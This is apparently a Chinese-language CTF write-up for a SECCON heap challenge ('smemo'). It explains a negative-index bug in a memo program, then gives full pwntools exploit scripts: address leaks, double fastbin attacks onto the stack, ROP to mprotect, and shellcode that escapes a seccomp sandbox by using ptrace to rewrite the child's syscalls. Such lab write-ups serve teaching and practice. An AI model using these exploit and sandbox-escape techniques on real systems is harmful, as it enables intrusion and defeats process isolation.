这道题在比赛中并没有做出来,而是在赛后继续做才做出来....(太菜了

审计代码

题目逻辑非常简单

main函数如上,程序有三个功能

add

调用calloc来分配内存,只能固定大小0x28字节的

show

输入下标的时候可以输入负数,下标溢出,a1传进来的是栈上的指针

我们可以看下getint

可以输入128个字节,明显就可以利用

因为getint读取也是读取进栈的,因此配合下标溢出就可以任意地址读取

delete

这里也是同样的漏洞,可以任意地址free

异样的地方

程序除了这几个函数,还有seccomp那些函数,我们可以看下

init_array有初始化函数

可以看到设置了seccomp

prctl(22, 2LL, &v1)

这里设置的是过滤模式

我们可以利用一个工具来看到底设置了什么

secconp-tools

可以看到,禁了32位的syscall,禁了open和openat

这里seccomp沙箱的bypass在后面再详细说

利用漏洞

虽然程序只有任意地址leak和任意地址free,但是其实利用起来还是非常方便的

大概利用链是

  1. leak 程序基址,libc基址,stack地址,heap地址
  2. fastbin attack到栈上
  3. 两次fastbin attack,控制rip,然后可以进行rop
  4. mprotect将bss段设为可读可写可执行,写shellcode
  5. seccomp bypass

前四步都非常简单

不过有个地方,就是calloc那里,可以利用将chunk size的mmap位设为1来避免清0

详细的可以看我的payload来调, 下面的payload是只到rop部分的

from pwn import *
import pwnlib.shellcraft as sc

debug=0

context.log_level='debug'
context.arch='amd64'
e=ELF('./libc-2.23.so')

if debug:
    #p=process('./memo')
    p=process('./memo',env={'LD_PRELOAD':'./libc-2.23.so'})
    #gdb.attach(p)
else:
    p=remote('smemo.pwn.seccon.jp',36384)

def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)


def add(content,wait=True):
    se('1\n')
    ru('memo > ')
    se(content)
    if wait:
        ru('> ')

def show(idx):
    se('2\n')
    ru('id > ')
    se(str(idx)+'\n')
    ru('Show id:')
    ru('\n')
    data=ru('\n')[:-1]
    ru('> ')
    return data

def delete(idx):
    se('3\n')
    ru('id > ')
    se(str(idx)+'\n')
    ru('> ')

def leak(addr):
    se('2'+'\x00'*47+p64(addr)+'\n')
    ru('id > ')
    se(str(-16)+'\n')
    ru('Show id:')
    ru('\n')
    data=ru('\n')[:-1]
    ru('> ')
    return data

def free(addr):
    se('3'+'\x00'*47+p64(addr)+'\n')
    ru('id > ')
    se('-16\n')
    ru('> ')

# leak
pbase=u64(show(-2)[:6]+'\x00\x00')-0x1020
stack=u64(show(-4)[:6]+'\x00\x00')
base=u64(leak(pbase+0x201668)[:6]+'\x00\x00')-e.symbols['puts']

add('aaa\n')
heap=u64(leak(stack-0x90)[:6]+'\x00\x00')
add('bbb\n')

#first fastbin attack

free(heap)
free(heap+0x30)
free(heap)

se('1'+'\x00'*7+cyclic(104)+p64(0x33)+'\n')
ru('Input memo > ')
se(p64(stack-0xd8)+'\n')
ru('> ')
add('2'*8+'\n')
add('3'*8+'\n')

add(cyclic(32)+'\x33'+'\x00'*6) #this can control stack

delete(0)
delete(1)
delete(2)

# second fastbin attack

se('1'+'\x00'*7+cyclic(104)+p64(0x33)+'\n')
ru('Input memo > ')
se(p64(stack-0xb0)+'\n')
ru('> ')
add('2'*8+'\n')
add('3'*8+'\n')

bss=0x2016E0+pbase+0x100
prdi=pbase+0x1083
leave=pbase+0xc95
prsi=base+0x202e8
prdx=base+0x1b92
gets=base+e.symbols['gets']

mprotect=base+e.symbols['mprotect']


# rop

payload=p64(bss-8)+p64(prdi)+p64(bss)+p64(gets)+p64(leave)[:7]

add(payload,False)

pay2=p64(prdi)+p64(pbase+0x201000)+p64(prsi)+p64(0x1000)+p64(prdx)+p64(7)
pay2+=p64(mprotect)+p64(bss+0x100)

pay2=pay2.ljust(0x100,'\x00')

p.interactive()

bypass seccomp

这里是整个题目耗时最长的地方......

尝试了以下几种办法

  1. 利用sys_name_to_handle_at 和 sys_open_by_handle_at 来组合成openat,打开flag.txt

    但是发现kali本地可以,服务器就失败了.......后面查了下,好像是要root才能调那个syscall

  2. 利用retf更改cs寄存器的值,使其变为32位模式

    成功修改了,但是调用32位的syscall一样报错.......

  3. 上传32位的程序,再execve

    看到某篇wp说服务器上有32位的程序,可以执行然后绕过seccomp,于是试了下,发现tmp目录可以写东西并且能chmod

    但是上传完,执行execve还是失败.......估计execve有调用open

  4. ptrace 修改syscall

    这个是唯一成功的,下面是别人的写的poc

    poc

上面能执行任意shellcode了,而这里我们要做的就是将poc的c语言代码翻译成汇编

下面是完整的payload

from pwn import *
import pwnlib.shellcraft as sc

debug=0

context.log_level='debug'
context.arch='amd64'
e=ELF('./libc-2.23.so')

if debug:
    #p=process('./memo')
    p=process('./memo',env={'LD_PRELOAD':'./libc-2.23.so'})
    #gdb.attach(p)
else:
    p=remote('smemo.pwn.seccon.jp',36384)

def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)


def add(content,wait=True):
    se('1\n')
    ru('memo > ')
    se(content)
    if wait:
        ru('> ')

def show(idx):
    se('2\n')
    ru('id > ')
    se(str(idx)+'\n')
    ru('Show id:')
    ru('\n')
    data=ru('\n')[:-1]
    ru('> ')
    return data

def delete(idx):
    se('3\n')
    ru('id > ')
    se(str(idx)+'\n')
    ru('> ')

def leak(addr):
    se('2'+'\x00'*47+p64(addr)+'\n')
    ru('id > ')
    se(str(-16)+'\n')
    ru('Show id:')
    ru('\n')
    data=ru('\n')[:-1]
    ru('> ')
    return data

def free(addr):
    se('3'+'\x00'*47+p64(addr)+'\n')
    ru('id > ')
    se('-16\n')
    ru('> ')

# leak
pbase=u64(show(-2)[:6]+'\x00\x00')-0x1020
stack=u64(show(-4)[:6]+'\x00\x00')
base=u64(leak(pbase+0x201668)[:6]+'\x00\x00')-e.symbols['puts']

add('aaa\n')
heap=u64(leak(stack-0x90)[:6]+'\x00\x00')
add('bbb\n')

#first fastbin attack

free(heap)
free(heap+0x30)
free(heap)

se('1'+'\x00'*7+cyclic(104)+p64(0x33)+'\n')
ru('Input memo > ')
se(p64(stack-0xd8)+'\n')
ru('> ')
add('2'*8+'\n')
add('3'*8+'\n')

add(cyclic(32)+'\x33'+'\x00'*6) #this can control stack

delete(0)
delete(1)
delete(2)

# second fastbin attack

se('1'+'\x00'*7+cyclic(104)+p64(0x33)+'\n')
ru('Input memo > ')
se(p64(stack-0xb0)+'\n')
ru('> ')
add('2'*8+'\n')
add('3'*8+'\n')

bss=0x2016E0+pbase+0x100
prdi=pbase+0x1083
leave=pbase+0xc95
prsi=base+0x202e8
prdx=base+0x1b92
gets=base+e.symbols['gets']
ptrace=base+e.symbols['ptrace']
waitpid=base+e.symbols['waitpid']

mprotect=base+e.symbols['mprotect']
prctl=base+e.symbols['prctl']

payload=p64(bss-8)+p64(prdi)+p64(bss)+p64(gets)+p64(leave)[:7]

add(payload,False)

pay2=p64(prdi)+p64(pbase+0x201000)+p64(prsi)+p64(0x1000)+p64(prdx)+p64(7)
pay2+=p64(mprotect)+p64(bss+0x100)

pay2=pay2.ljust(0x100,'\x00')

#shellcode

pay2+=asm(sc.mmap_rwx(address=0x123000)+\
sc.read(0,0x123000,0x400)+\
sc.syscall('SYS_fork'))
pay2+=asm("cmp rax,0")+'u\x09'+asm("mov rsi,0x123000\n jmp rsi")

pay2+=asm(sc.mov('rdi','rax')+\
sc.mov('r14','rax')+\
sc.mov('rax',waitpid)+\
sc.setregs({'rsi':0,'rdx':0})+\
'call rax\n'+\
sc.setregs({'rax':ptrace, 'rsi':'r14', 'rdi':0x18,'rcx':0,'rdx':0})+\
'call rax\n'+\
sc.setregs({'rax':waitpid, 'rdi':'r14','rsi':0,'rdx':0}) +\
'call rax\n'+\
sc.setregs({'rax':ptrace, 'rsi':'r14', 'rdi':0xc, 'rcx':0x123400,'rdx':0})+\
'call rax\n'+\
'mov rdi,0x123478\n' +\
'mov dword ptr [rdi],0x2\n' +\
sc.setregs({'rax':ptrace, 'rsi':'r14','rdi':0xd, 'rcx':0x123400, 'rdx':0})+\
'call rax\n'+\
sc.setregs({'rax':ptrace, 'rsi': 'r14', 'rdi':0x11, 'rcx':0, 'rdx':0})+\
'call rax\n'+\
sc.read(0,'rsp',0x100))

sleep(0.5)

se(pay2+'\n')

sleep(0.5)

shell=asm(sc.amd64.setregs({'rax':ptrace,'rdi':0,'rsi':0,'rdx':0})+\
'''
call rax
mov rax,186
syscall
mov rdi,rax
mov rsi,19
mov rax,200
syscall
'''
)


shell+=asm(sc.pushstr('flag.txt')+\
sc.syscall('SYS_read','rsp',0,0)+\
sc.syscall('SYS_read','rax','rsp',0x100)+\
sc.syscall('SYS_write',1,'rsp','rax'))

se(shell)

print(hex(pbase))
print(hex(stack))
print(hex(base))
print(hex(heap))
p.interactive()

源链接

Hacking more

...